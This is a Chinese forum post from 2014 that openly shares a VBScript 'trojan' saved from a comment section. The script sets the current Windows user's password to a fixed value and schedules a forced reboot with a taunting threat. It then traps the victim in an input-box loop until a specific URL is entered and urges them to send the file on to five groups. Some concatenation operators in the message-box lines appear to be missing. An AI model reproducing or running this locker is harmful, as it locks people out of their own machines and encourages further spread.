木马，就是磨里意见区的那个，保存下来

2014-08-18 07:07:59 -0400

如题其他的不解释了，

Const strPassword = "caicaiba"'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c "" 哇哦、在你家飘过了，你家的开机密码被我改了！48小时后自动解锁，这段时间好好去学习工作吧，别玩这了，还有别想关掉这个东西或者重启、重启就让你开不了机，不信你试一试···切记"" ",0 ,true
dim a
do while(a <> " http://www.2345.com /?k2841620329")
a = inputbox ("去努力吧，骚年！是不然你也别想关掉、解锁只需要等48小时，重启就让你开不开机，让你电脑瘫痪，不信你试试""切切记","没了","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13)   chr(13)   chr(13)   a,0,"慢慢等吧"
loop
msgbox chr(13)   chr(13)   chr(13)   "不要急哦"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13)   chr(13)   chr(13)   "本软件已绑定你的电脑，请不要删除否则可能引起电脑开不开机——要注意喽"</textrea></div>
<div class="wo-entry-prev-next"><a href="/entry/304081" title="磨友们，你们怎么评论这样的">«Newer</a>      <a href="/entry/304012" title="测试，勿进">Older»</a></div>
<br />----Comments(2)----<br /><a href="https://luozhihao.wodemo.net/">耀眼阳光 (@luozhihao)</a> | <a href="#" onclick="WoUtil.addReplyAt('@luozhihao');return false" class="wo-reply-at">@</a>  at  2014-08-18 07:43:<br />继续路过，留名<hr /><a href="https://luozhihao.wodemo.net/">耀眼阳光 (@luozhihao)</a> | <a href="#" onclick="WoUtil.addReplyAt('@luozhihao');return false" class="wo-reply-at">@</a>  at  2014-08-18 07:42:<br />路过<hr /><form method="POST" action="https://s.wodemo.net/"><input type="hidden" name="act" value="file_talk" /><input type="hidden" name="fid" value="304077" />Comment:<br /><textarea name="content" cols="15" rows="3" class="wo-reply-textarea">

Name:

Back to home

Subscribe | Register | Login | N